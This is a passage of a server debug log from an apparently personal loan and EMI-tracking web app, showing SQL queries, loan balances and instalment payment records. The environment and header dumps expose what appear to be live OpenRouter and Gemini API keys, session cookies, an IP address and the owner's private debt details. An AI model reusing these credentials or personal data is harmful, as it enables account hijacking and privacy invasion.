      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:44:12.357Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-04-21T16:44:22.813Z server-connect:router Serving templateView /emis
2026-04-21T16:44:22.814Z server-connect:app Executing action step identify
2026-04-21T16:44:22.814Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:22.814Z server-connect:output identity: 1
2026-04-21T16:44:22.814Z server-connect:app Executing action step restrict
2026-04-21T16:44:22.814Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:44:22.814Z server-connect:output restrict: undefined
2026-04-21T16:44:22.815Z server-connect:router Render template layouts/main
2026-04-21T16:44:22.815Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/emis'
}
2026-04-21T16:44:24.312Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:44:24.314Z server-connect:app Executing action step identify
2026-04-21T16:44:24.315Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:24.315Z server-connect:output identity: 1
2026-04-21T16:44:24.315Z server-connect:app Executing action step restrict
2026-04-21T16:44:24.315Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:24.315Z server-connect:output restrict: undefined
2026-04-21T16:44:24.315Z server-connect:app Executing action step select
2026-04-21T16:44:24.315Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:44:24.317Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-04-21T16:44:36.039Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-04-21T16:44:36.039Z server-connect:app Executing action step identify
2026-04-21T16:44:36.040Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:36.040Z server-connect:output identity: 1
2026-04-21T16:44:36.040Z server-connect:app Executing action step restrict
2026-04-21T16:44:36.040Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:36.040Z server-connect:output restrict: undefined
2026-04-21T16:44:36.040Z server-connect:app Executing action step update
2026-04-21T16:44:36.040Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-04-21T16:44:36.043Z server-connect:output update: { affected: 1 }
2026-04-21T16:44:36.231Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-04-21T16:44:36.232Z server-connect:app Executing action step identify
2026-04-21T16:44:36.232Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:36.232Z server-connect:output identity: 1
2026-04-21T16:44:36.232Z server-connect:app Executing action step restrict
2026-04-21T16:44:36.232Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:36.233Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-04-21T16:44:36.233Z server-connect:output restrict: undefined
2026-04-21T16:44:36.233Z server-connect:app Executing action step select
2026-04-21T16:44:36.233Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-04-21T16:44:36.234Z server-connect:app Executing action step identify
2026-04-21T16:44:36.234Z server-connect:app options: { provider: 'security' }
2026-04-21T16:44:36.234Z server-connect:output identity: 1
2026-04-21T16:44:36.234Z server-connect:app Executing action step restrict
2026-04-21T16:44:36.234Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:44:36.235Z server-connect:output list: [
  {
    id: 380,
    loan_id: 18,
    due_date: '2023-09-01T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 381,
    loan_id: 18,
    due_date: '2023-10-01T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 382,
    loan_id: 18,
    due_date: '2023-11-01T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 383,
    loan_id: 18,
    due_date: '2023-12-01T18:30:00.000Z',
    paid_on: '2023-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 384,
    loan_id: 18,
    due_date: '2024-01-01T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 385,
    loan_id: 18,
    due_date: '2024-02-01T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 386,
    loan_id: 18,
    due_date: '2024-03-01T18:30:00.000Z',
    paid_on: '2024-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 387,
    loan_id: 18,
    due_date: '2024-04-01T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 388,
    loan_id: 18,
    due_date: '2024-05-01T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 389,
    loan_id: 18,
    due_date: '2024-06-01T18:30:00.000Z',
    paid_on: '2024-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 390,
    loan_id: 18,
    due_date: '2024-07-01T18:30:00.000Z',
    paid_on: '2024-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 391,
    loan_id: 18,
    due_date: '2024-08-01T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 392,
    loan_id: 18,
    due_date: '2024-09-01T18:30:00.000Z',
    paid_on: '2024-09-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 393,
    loan_id: 18,
    due_date: '2024-10-01T18:30:00.000Z',
    paid_on: '2024-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 394,
    loan_id: 18,
    due_date: '2024-11-01T18:30:00.000Z',
    paid_on: '2024-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 395,
    loan_id: 18,
    due_date: '2024-12-01T18:30:00.000Z',
    paid_on: '2024-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 396,
    loan_id: 18,
    due_date: '2025-01-01T18:30:00.000Z',
    paid_on: '2025-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 397,
    loan_id: 18,
    due_date: '2025-02-01T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 398,
    loan_id: 18,
    due_date: '2025-03-01T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 399,
    loan_id: 18,
    due_date: '2025-04-01T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 400,
    loan_id: 18,
    due_date: '2025-05-01T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 401,
    loan_id: 18,
    due_date: '2025-06-01T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 402,
    loan_id: 18,
    due_date: '2025-07-01T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 403,
    loan_id: 18,
    due_date: '2025-08-01T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 404,
    loan_id: 18,
    due_date: '2025-09-01T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 405,
    loan_id: 18,
    due_date: '2025-10-01T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 406,
    loan_id: 18,
    due_date: '2025-11-01T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 407,
    loan_id: 18,
    due_date: '2025-12-01T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 408,
    loan_id: 18,
    due_date: '2026-01-01T18:30:00.000Z',
    paid_on: '2026-01-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 409,
    loan_id: 18,
    due_date: '2026-02-01T18:30:00.000Z',
    paid_on: '2026-02-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 410,
    loan_id: 18,
    due_date: '2026-03-01T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 411,
    loan_id: 18,
    due_date: '2026-04-01T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 5336,
    status: 1
  },
  {
    id: 412,
    loan_id: 18,
    due_date: '2026-05-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 413,
    loan_id: 18,
    due_date: '2026-06-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 414,
    loan_id: 18,
    due_date: '2026-07-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  },
  {
    id: 415,
    loan_id: 18,
    due_date: '2026-08-01T18:30:00.000Z',
    paid_on: null,
    loan_amount: 5336,
    status: 0
  }
]
2026-04-21T16:44:36.236Z server-connect:output restrict: undefined
2026-04-21T16:44:36.236Z server-connect:app Executing action step custom
2026-04-21T16:44:36.236Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-04-21T16:44:36.238Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
